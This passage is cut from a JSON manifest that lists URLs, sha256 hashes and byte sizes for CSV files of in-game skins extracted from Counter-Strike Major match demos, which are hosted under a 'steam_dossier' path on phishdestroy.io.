          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75553_spirit-vs-bad-news-eagles-ancient.dem.skins.csv",
          "sha256": "1a1e8dc8d67ff6e9eb3d02bb9cdd1994c53d6b0bb8651bf8ba4317f2790073a7",
          "bytes": 209884
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75555_mouz-vs-liquid-inferno.dem.skins.csv",
          "sha256": "5e2b8ca60ce97a33aa338c1e74738f885c84c0db71f635953c96418328889e17",
          "bytes": 58458
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75556_sprout-vs-big-vertigo.dem.skins.csv",
          "sha256": "37045242bfbc0723546e42b413384594465622280c35c1f23df01bf3f90e64cc",
          "bytes": 119334
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75557_faze-vs-cloud9-overpass.dem.skins.csv",
          "sha256": "fd8f2e69c3871b95f6e49c7232084738869f1e7ec36ed9864a4f510eecfda5cf",
          "bytes": 150994
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75558_outsiders-vs-heroic-overpass.dem.skins.csv",
          "sha256": "73917fe54a089863e7bb0dbe26fad7bc0ef949caed200de8c8a855347d243e41",
          "bytes": 112784
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75559_vitality-vs-natus-vincere-mirage.dem.skins.csv",
          "sha256": "eb3da80763f1ff3edd2d9252f7d7ee242172457eb421f42fe076f918e4eb05de",
          "bytes": 268754
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75560_ninjas-in-pyjamas-vs-fnatic-inferno.dem.skins.csv",
          "sha256": "73399b29f3b497f0febf6f15370d3edb4579ff847da9c708e9c268ff7f630e7d",
          "bytes": 136657
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75562_furia-vs-ence-vertigo.dem.skins.csv",
          "sha256": "79251a7b56b54b65d9dd29b14f6aac4ba45634c41f28ffac098cf5a1ad17c1f2",
          "bytes": 52085
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75564_mouz-vs-big-mirage.dem.skins.csv",
          "sha256": "3935b3e81fbe594afbfc7308da6078c9b3acad1972f18805c83724275d39b04e",
          "bytes": 89142
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75565_sprout-vs-liquid-inferno.dem.skins.csv",
          "sha256": "29d19a2026d1d9bf728196ab2954d1fd8a2b3ac56a5f943a9c12c90a547b3c95",
          "bytes": 84678
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75566_faze-vs-vitality-inferno.dem.skins.csv",
          "sha256": "3b2a6980eea0f73de6e61158a4916417b0e6b038473d47d647c8e81208d2bd25",
          "bytes": 98018
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75567_natus-vincere-vs-cloud9-mirage.dem.skins.csv",
          "sha256": "5a2cb637ed7056ff85e90837de2c98801a7989604af5761c1e48c2001b032efb",
          "bytes": 162305
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75568_spirit-vs-furia-mirage.dem.skins.csv",
          "sha256": "cacb4005a94c4ba0caaa0b0751ab536912f6a8e45f5321f357982b7607c1a70a",
          "bytes": 126660
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75569_ence-vs-bad-news-eagles-ancient.dem.skins.csv",
          "sha256": "ff27b6983f567a9609b7274e06fa79466b0a03f6476b7592182094c4392b23ad",
          "bytes": 133283
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75570_heroic-vs-fnatic-mirage.dem.skins.csv",
          "sha256": "20d6d28e1f3c09f05576ee6b8dd93d1e62c1577f55dd8e3ee621b247da5e12bc",
          "bytes": 77621
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75571_ninjas-in-pyjamas-vs-outsiders-mirage.dem.skins.csv",
          "sha256": "e112faac8b42577fd4810174fd7d1f99b0678e137405218d654f72cf4d701535",
          "bytes": 106803
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75576_natus-vincere-vs-liquid-ancient.dem.skins.csv",
          "sha256": "968f90af9b34441b2bc803692dfe6efa25b6b417019f21f281ba17279ebe0975",
          "bytes": 114789
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75577_mouz-vs-vitality-mirage.dem.skins.csv",
          "sha256": "ab8ba9e9a2b7c86fafc40507d62e5bc31ed9c2b19c60a0cf3bce40f3fb73ebf4",
          "bytes": 153669
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75580_ence-vs-fnatic-nuke.dem.skins.csv",
          "sha256": "e09bfa4c5d2c40e15ba1abde55961de0f4bb35177de4fc17efa8405dc5a2df99",
          "bytes": 82883
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75584_spirit-vs-outsiders-dust2.dem.skins.csv",
          "sha256": "655998c5c623cafd122b3ba683202cf543c7a457a0a8f4071659683ed89e016d",
          "bytes": 195231
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75585_heroic-vs-cloud9-m1-vertigo.dem.skins.csv",
          "sha256": "6bb20f47b60f35e600d28ce21e27e1ae2ec382e23ec1ab7eac41c518fc8039ca",
          "bytes": 116084
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75585_heroic-vs-cloud9-m2-inferno.dem.skins.csv",
          "sha256": "b8ad6376982f6b4a508d7e8eaa639739ac305f6f3a2871d0c6fa60cae19f15ee",
          "bytes": 104333
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75588_faze-vs-bad-news-eagles-m1-vertigo.dem.skins.csv",
          "sha256": "9e20d36e3b7070d0fe743b8be96fcae7ac259278f363265b27f257beae1e5d38",
          "bytes": 214531
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75588_faze-vs-bad-news-eagles-m2-nuke.dem.skins.csv",
          "sha256": "73078fec3055d9e367c0b4da56bb9f12e1f0f9444e6d265a9a1329807b685f95",
          "bytes": 116947
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75588_faze-vs-bad-news-eagles-m3-mirage.dem.skins.csv",
          "sha256": "0ae8033ae5aed18721dc3fcd8823d267522cab3d5c6f35de8dc715bbe46bb8d7",
          "bytes": 246188
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75589_furia-vs-big-m1-nuke.dem.skins.csv",
          "sha256": "fd53878d218d851800c0f00fe671f1a3c72ddcb810d9716fd7ca822471264404",
          "bytes": 61770
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75589_furia-vs-big-m2-vertigo.dem.skins.csv",
          "sha256": "fc33ea8423c03dd01d1b20d38a848fcc07c64364bca864635f5faded2438a182",
          "bytes": 63675
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75590_sprout-vs-ninjas-in-pyjamas-m1-vertigo.dem.skins.csv",
          "sha256": "2f818e78a3cfb432c77c701991715b431323c438b30bae665983ad9297016cfb",
          "bytes": 73920
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75590_sprout-vs-ninjas-in-pyjamas-m2-ancient.dem.skins.csv",
          "sha256": "57d3d936a9e41d483bf3ed5586b10e09ac0e131c8bead463cea41e73501d326c",
          "bytes": 92635
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75593_natus-vincere-vs-bad-news-eagles-m1-ancient.dem.skins.csv",
          "sha256": "b0ae9df022d592f60cd5230ba673830d53a720eac5c05a6904b26caf66af2adf",
          "bytes": 140433
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75593_natus-vincere-vs-bad-news-eagles-m2-nuke.dem.skins.csv",
          "sha256": "b03f4dcae86389bb383a92b741af1a13ef3be71814bc5c000854e231b6c5a182",
          "bytes": 173233
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75594_mouz-vs-outsiders-m1-overpass.dem.skins.csv",
          "sha256": "efd3ae46ddf3b4e930c63cef76c6547ecf296511933d6915a80ef68b9c3cfbb9",
          "bytes": 124925
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75594_mouz-vs-outsiders-m2-inferno.dem.skins.csv",
          "sha256": "56850a4cf806ce4b5fb95df9cbdf971a3527566bb9966b0a92895dc4aa46539e",
          "bytes": 118007
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75595_big-vs-fnatic-m1-overpass.dem.skins.csv",
          "sha256": "79a9ceafbbdd157478da37cf2260d54f5370b54bb14d18931d3ed2af57a9ea36",
          "bytes": 126734
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75595_big-vs-fnatic-m2-mirage.dem.skins.csv",
          "sha256": "162be43304192c2e3a874b169cdda5199d95ff815eb3823e9529fd78a0104ee8",
          "bytes": 83251
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75596_ence-vs-vitality-m1-vertigo.dem.skins.csv",
          "sha256": "1cda81515c16ab8638d10b3ca7010e9a2e62656ad41fb5e1793d9c89fc269f92",
          "bytes": 93453
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75596_ence-vs-vitality-m2-nuke.dem.skins.csv",
          "sha256": "6c60765b651f96db9b85c8ed32fde68f2844cbea8ae66c4cae82aad5a14dc132",
          "bytes": 112029
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75597_spirit-vs-sprout-m1-nuke.dem.skins.csv",
          "sha256": "46e4c45be20d9bc7c8c04e46ec9d44a8aa49a4b66a3405bf3935b2554cbbd76d",
          "bytes": 148781
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75597_spirit-vs-sprout-m2-vertigo.dem.skins.csv",
          "sha256": "6e40a99264477ede75f26d85ec0539963710a8cccd9e02fa79b91d79a6639967",
          "bytes": 152611
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75598_heroic-vs-liquid-m1-vertigo.dem.skins.csv",
          "sha256": "3d21ec947e8e977d86b89c383dadacfcbf4f5b2274a7fcae70292c60919b12ba",
          "bytes": 57089
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75598_heroic-vs-liquid-m2-mirage.dem.skins.csv",
          "sha256": "812ac3d1399c4c760eb22c75ba1c6821a112cab947e70ce9c88da7e9fb460746",
          "bytes": 45041
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75598_heroic-vs-liquid-m3-overpass.dem.skins.csv",
          "sha256": "3e05600e657153e82b91cab51fad329e70e6d06278c142dc7fa5cbfdc3b3f9e0",
          "bytes": 57170
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75602_mouz-vs-ence-m1-ancient.dem.skins.csv",
          "sha256": "8485b56938c375c25d5813cfd14ef68790e0b3c74ca2580fc627a07ab77bb8fb",
          "bytes": 71542
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75602_mouz-vs-ence-m2-nuke.dem.skins.csv",
          "sha256": "705733ea694fce0f17b7dceb6480ce9df280bdb41c3e24e67b15aa1f9b0e5815",
          "bytes": 108016
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75602_mouz-vs-ence-m3-mirage.dem.skins.csv",
          "sha256": "84c762819ba44ef814fca1bc2be453c302f808daf356a8b0faf17f61e2a58f14",
          "bytes": 82694
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75604_big-vs-natus-vincere-m1-mirage.dem.skins.csv",
          "sha256": "8ceb6d11beda114469f86bd22033d42a0ac6bdae59975bd0c89c74702bfcc688",
          "bytes": 143748
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75604_big-vs-natus-vincere-m2-dust2.dem.skins.csv",
          "sha256": "c712571fc556cd287914b4938f9d4f1a43d39de257f332552b75b1bb284cb39d",
          "bytes": 126711
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75607_liquid-vs-spirit-m1-vertigo.dem.skins.csv",
          "sha256": "722f4f2bc2abfbd0dd69fd7f0b7d2db8013cc3ba3cbcc29848dc54de9cb36251",
          "bytes": 120390
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75607_liquid-vs-spirit-m2-mirage.dem.skins.csv",
          "sha256": "ddd2c811f1d8502afa887284ead71a25529cf075078c5c7ea7b1487f3800717c",
          "bytes": 110047
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75607_liquid-vs-spirit-m3-ancient.dem.skins.csv",
          "sha256": "bdeac1b87573c226e6fd09a3776849859a14710471a18b9d01882cb07527e177",
          "bytes": 103800
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75619_outsiders-vs-fnatic-m1-inferno.dem.skins.csv",
          "sha256": "f969e2de1cba27f1b55efdfc44c60083b75a7b389c1118cd2af757aee7249532",
          "bytes": 145795
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75619_outsiders-vs-fnatic-m2-mirage.dem.skins.csv",
          "sha256": "7e920ef8e5a33478b1828314be4d1e77b4ab609832eb38fd5e982686d84642d2",
          "bytes": 120097
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75620_mouz-vs-cloud9-m1-inferno.dem.skins.csv",
          "sha256": "74fae3a43fe8d1420a6bc1180471d7c1735fa937ce14ad430d180eeb7c034ec6",
          "bytes": 137132
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75620_mouz-vs-cloud9-m2-overpass.dem.skins.csv",
          "sha256": "dd84b38acc82ff284bce551034b78c56de89ff74fd503efc07c4b1e0c5f7f0f1",
          "bytes": 182077
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75620_mouz-vs-cloud9-m3-ancient.dem.skins.csv",
          "sha256": "60ccf48937b571461919b0229b587a885ad8fdcc3213761168ad2987ef386dd0",
          "bytes": 140465
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75624_spirit-vs-heroic-m1-vertigo.dem.skins.csv",
          "sha256": "168eed662b304fa2afb458ed56b184cce9b3ce799627a897fecfb3a9f504d5ed",
          "bytes": 132311
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75624_spirit-vs-heroic-m2-overpass.dem.skins.csv",
          "sha256": "062650afaade5661c407104c0a030d19ebf8158101688e881d74903bd75ea20f",
          "bytes": 172849
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75625_furia-vs-natus-vincere-m1-nuke.dem.skins.csv",
          "sha256": "3021d8ceee9e62ecc2ab3056378887bfb2f9a91600cf0c55393c02af1b67c906",
          "bytes": 123423
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75625_furia-vs-natus-vincere-m2-ancient.dem.skins.csv",
          "sha256": "1f1c43e67e7c7a612980b5b5903fbc1505423c3e38f595211b7fa928bd0a5845",
          "bytes": 90597
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75625_furia-vs-natus-vincere-m3-mirage.dem.skins.csv",
          "sha256": "445e2979441f83f81dff3e9468fcd5234a34badebc2fe5a093c2d35ab84a7302",
          "bytes": 99038
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75631_outsiders-vs-mouz-m1-ancient.dem.skins.csv",
          "sha256": "74748f6865d24414fb2fdca5c3919b98284ea97fb9f1e72ae4d0dd24bbc6f7ec",
          "bytes": 160064
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75631_outsiders-vs-mouz-m2-overpass.dem.skins.csv",
          "sha256": "8f2e84f7c0609bef0a9513cced86e16a06829964ecfb85ae99b269393a181d54",
          "bytes": 178870
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75631_outsiders-vs-mouz-m3-inferno.dem.skins.csv",
          "sha256": "a60295ce6a3acf255f37ca481d778580ec51517c5bd3ebb8171e0bcf737ab504",
          "bytes": 127300
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75632_heroic-vs-furia-m1-inferno.dem.skins.csv",
          "sha256": "d6d41801263adc1d8b5bb3e0d9412aa3f109071987c756aefa60fd2e034c9d4a",
          "bytes": 65841
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75632_heroic-vs-furia-m2-ancient.dem.skins.csv",
          "sha256": "bd1fe1b1ab8884ab6cb712a192fcf273d2d2003df23769e721efad36e68d031d",
          "bytes": 100785
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75632_heroic-vs-furia-m3-nuke.dem.skins.csv",
          "sha256": "b450c858658d29575289bb352071fab5b4ff7f9ece89217c6a14b1ef77985c02",
          "bytes": 52975
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75637_outsiders-vs-heroic-m1-mirage.dem.skins.csv",
          "sha256": "4d227dbf10c544472104b7234ee7570dc8a3d125f7e1b80761b8ebe26cd596b4",
          "bytes": 125054
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75637_outsiders-vs-heroic-m2-overpass.dem.skins.csv",
          "sha256": "44f92f535cb1591068ee528f95eb4692c49fa8804c763539777cd2ff1da46ea8",
          "bytes": 97495
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79711_9ine-vs-liquid-inferno.dem.skins.csv",
          "sha256": "11f3cd640a76c321254707234a6fd08d0fe3dfa112d9e221bc0b28f139372e24",
          "bytes": 97621
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79712_natus-vincere-vs-gamerlegion-mirage.dem.skins.csv",
          "sha256": "82d924155696194fa088f59f609f265546ba1e7d5472e773596789392279022e",
          "bytes": 100444
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79715_fnatic-vs-ninjas-in-pyjamas-nuke.dem.skins.csv",
          "sha256": "50a85af0c7fa369916d1a3e199bacce6b64ba0ef48f5741e8b0e0d0e8a7051dd",
          "bytes": 102416
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79716_heroic-vs-faze-inferno.dem.skins.csv",
          "sha256": "6f5a6ab70b522f73b6079e1c03c1fb06697111c269e1b4250ae6009a67f17f64",
          "bytes": 95799
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79717_into-the-breach-vs-apeks-mirage.dem.skins.csv",
          "sha256": "d1784995285cde6850875dbac21f9ce2fe1ed55af39716b2426a12fa6d878042",
          "bytes": 90469
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79718_furia-vs-monte-ancient.dem.skins.csv",
          "sha256": "94fa7f190fb8ab88375eafe36d726992229200debc322b7a80d197bef2daf856",
          "bytes": 95233
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79719_vitality-vs-g2-nuke.dem.skins.csv",
          "sha256": "d6420a3e0cb2b8cb61273cb9e09f7b13ada9e0fde346da20d820db4e45196eda",
          "bytes": 93891
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79720_bad-news-eagles-vs-ence-vertigo.dem.skins.csv",
          "sha256": "735b81b43fa148cb5dc3fcae6ef355a40946ae71cc72243183477d86f4e29915",
          "bytes": 118656
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79721_liquid-vs-natus-vincere-inferno.dem.skins.csv",
          "sha256": "5130fc381cc8167d293f8ec6a4f1ae035d519ebab5a551e0b4970958313225e0",
          "bytes": 49809
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79722_fnatic-vs-monte-vertigo.dem.skins.csv",
          "sha256": "3bdd06168af02fa30a67c93de4c9e191f908bea9d646cc8002ea38ba5d6cd136",
          "bytes": 130115
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79723_vitality-vs-ence-vertigo.dem.skins.csv",
          "sha256": "92e891235bf0f7a313ef3cf210ecdd374088297025f4d827950c1b62a8bef585",
          "bytes": 60750
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79724_heroic-vs-apeks-mirage.dem.skins.csv",
          "sha256": "022382ac3ef474d788705f37cbdb551bc66e5a89b2498a5572c68f32fb2b64da",
          "bytes": 77850
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79725_furia-vs-ninjas-in-pyjamas-nuke.dem.skins.csv",
          "sha256": "dc39eecf0121d68f87df077ad93fa5db8eb0af58554095d50bed014599c54e1e",
          "bytes": 68942
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79726_9ine-vs-gamerlegion-mirage.dem.skins.csv",
          "sha256": "04d3c90b97862e9e2182ffde58fea156017ca29178d0f782c6990b1f61275fae",
          "bytes": 108485
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79727_bad-news-eagles-vs-g2-ancient.dem.skins.csv",
          "sha256": "9bae5f9d0b998214282276888ce899fc6020060703ecd60c5eb20fc66abc3e77",
          "bytes": 182874
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79728_faze-vs-into-the-breach-inferno.dem.skins.csv",
          "sha256": "ad5a8bf1002fdfb937989cd9a7dc9f9ae0f10cabdd7a81071304612b15d725b9",
          "bytes": 100329
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79731_natus-vincere-vs-ninjas-in-pyjamas-overpass.dem.skins.csv",
          "sha256": "b41b27cd62cde36dc3ed6b391c4703385eb15c4415fde89bf6647bdc5da11fef",
          "bytes": 105048
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79733_ence-vs-into-the-breach-vertigo.dem.skins.csv",
          "sha256": "b460cbb3429467034ab38eff30198467dfc66a4f20d07c6a974e609efab2ec33",
          "bytes": 54289
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79734_apeks-vs-bad-news-eagle-ancient.dem.skins.csv",
          "sha256": "cfb8b924828c011737a87c9afa06d9229440eb3151c3873b7b71ae03c6e72b73",
          "bytes": 111708
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79735_fnatic-vs-gamerlegion-overpass.dem.skins.csv",
          "sha256": "3e660bd86b23e55d5e8664b21c7ccc5b73271d1477c28d5827a015217a336995",
          "bytes": 101081
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79736_monte-vs-vitality-m1-anubis.dem.skins.csv",
          "sha256": "1a589756a7c4fffdda02977fe63dc0c53930a516b4fc2db185bdf4e028dce6bf",
          "bytes": 111258
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79736_monte-vs-vitality-m2-nuke.dem.skins.csv",
          "sha256": "caa5b158e90d2f922233004a474eec9644b0175c9f0c861fa6a2c6c22b5c0fd1",
          "bytes": 107310
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79739_9ine-vs-faze-m1-inferno.dem.skins.csv",
          "sha256": "c00c36ee00305e73370ff3f9d42b69257691ee08bf2ea631c423f9ae8abf1e29",
          "bytes": 116028
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79739_9ine-vs-faze-m2-anubis.dem.skins.csv",
          "sha256": "d78ae664632a282825892a4bc7da18239a8a5efcb9489360365cef399e79db88",
          "bytes": 94870
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79740_heroic-vs-liquid-m1-inferno.dem.skins.csv",
          "sha256": "ef5292c1f21cd6f54ce094b36823b2e66bcfd388b0e66f66b32c9d91865cbb64",
          "bytes": 82555
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79740_heroic-vs-liquid-m2-mirage.dem.skins.csv",
          "sha256": "d5d40f5e74bd4a69986143058f0c7949b51dccd3f813c8269fd5e1e807744282",
          "bytes": 69643
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79740_heroic-vs-liquid-m3-ancient.dem.skins.csv",
          "sha256": "5109d480afbe3003521ef5d1d6682b35ce45db82e7d207a6b15fb56ee1b97429",
          "bytes": 64332
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79741_furia-vs-g2-m1-inferno.dem.skins.csv",
          "sha256": "e64f6266b121d9bc73238a320ad7ff2f3b00cafb07f91ca77d0447676c5ca8c0",
          "bytes": 92588
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79741_furia-vs-g2-m2-mirage.dem.skins.csv",
          "sha256": "f983193f1c734723ad200288fdd4bd3a191edf46cbaa46586224790ab49b3a43",
          "bytes": 78502
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79742_ence-vs-ninjas-in-pyjamas-m1-mirage.dem.skins.csv",
          "sha256": "79793c0901d6cd335e1e27386f715895c26a332783c577305fca7c3d28751967",
          "bytes": 50741
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79742_ence-vs-ninjas-in-pyjamas-m2-ancient.dem.skins.csv",
          "sha256": "9fc40a526f782ed7f8c2cea437894425db7a73d3c02ecc2cd4e0502ceb3af1a6",
          "bytes": 56125
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79744_faze-vs-bad-news-eagles-m1-overpass.dem.skins.csv",
          "sha256": "7643cf267c77ab1d515fbb243053e54b37f7b8cc6c3edc8701202eeaa6c45132",
          "bytes": 92300
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79744_faze-vs-bad-news-eagles-m2-mirage.dem.skins.csv",
          "sha256": "2f223cab3811b599bc161d3ded43fe80312c303d8cdbb54f553d12769b4bac9e",
          "bytes": 185973
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79744_faze-vs-bad-news-eagles-m3-inferno.dem.skins.csv",
          "sha256": "70ed99d6b34770ff3e66361d5cf5248fd0bc12be7b02f1ef788340dabdec7496",
          "bytes": 168564
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79745_monte-vs-natus-vincere-m1-anubis.dem.skins.csv",
          "sha256": "5a2e416ad4b841a5483198ecda4d7901878dc09e8c0097ead95361f7368e2bb1",
          "bytes": 118363
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79745_monte-vs-natus-vincere-m2-nuke.dem.skins.csv",
          "sha256": "5480f32160d0c3a7f8a1c178ca109028b6beff86b6d4046f6db18dc107f7f988",
          "bytes": 81101
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79746_liquid-vs-into-the-breach-m1-overpass.dem.skins.csv",
          "sha256": "ee47a338ef9688337eb9c11c42ed1611264ea07c3730c3c14a9579d7eea1c796",
          "bytes": 98024
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79746_liquid-vs-into-the-breach-m2-anubis.dem.skins.csv",
          "sha256": "f8a6082e17eb30b8d36919f29acdc6d9dc839f0a692396f445e21562f255a9fa",
          "bytes": 63004
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79747_fnatic-vs-g2-m1-inferno.dem.skins.csv",
          "sha256": "08802034cdf68b73c7857f48c092e09dd8c1f07da99a359d525edd82202158ed",
          "bytes": 168948
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79747_fnatic-vs-g2-m2-ancient.dem.skins.csv",
          "sha256": "611bdea5a4afcbed16e21e8e6ed71ad5df4867c4f3bcea258cee16ed2602092a",
          "bytes": 98687
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79747_fnatic-vs-g2-m3-vertigo.dem.skins.csv",
          "sha256": "28fd54cdd626dfff9711cf602cc9e91ac05a59a94e8989fecc98cd0071cf8221",
          "bytes": 104469
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79748_apeks-vs-gamerlegion-m1-ancient.dem.skins.csv",
          "sha256": "2e60feeb5f16a278d6de35a8ce55e105b91a6564696a3b2304896fc25479f1f7",
          "bytes": 68469
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79748_apeks-vs-gamerlegion-m2-overpass.dem.skins.csv",
          "sha256": "7186d0f0c1e390e381dcc2b76fe3e545b59c25b43f61a845bf08e062e168d579",
          "bytes": 79807
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79756_faze-vs-natus-vincere-m1-overpass.dem.skins.csv",
          "sha256": "46b82144944f68e42a7814722aa3f8420ea8cb5f9b2ad914e0334e2d86f74921",
          "bytes": 111620
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79756_faze-vs-natus-vincere-m2-mirage.dem.skins.csv",
          "sha256": "9dee9b86c7d888a8fc5cb340f82f5a43a8b5dce4dc2b896007a6cb03f488bb6f",
          "bytes": 66341
        },
        {
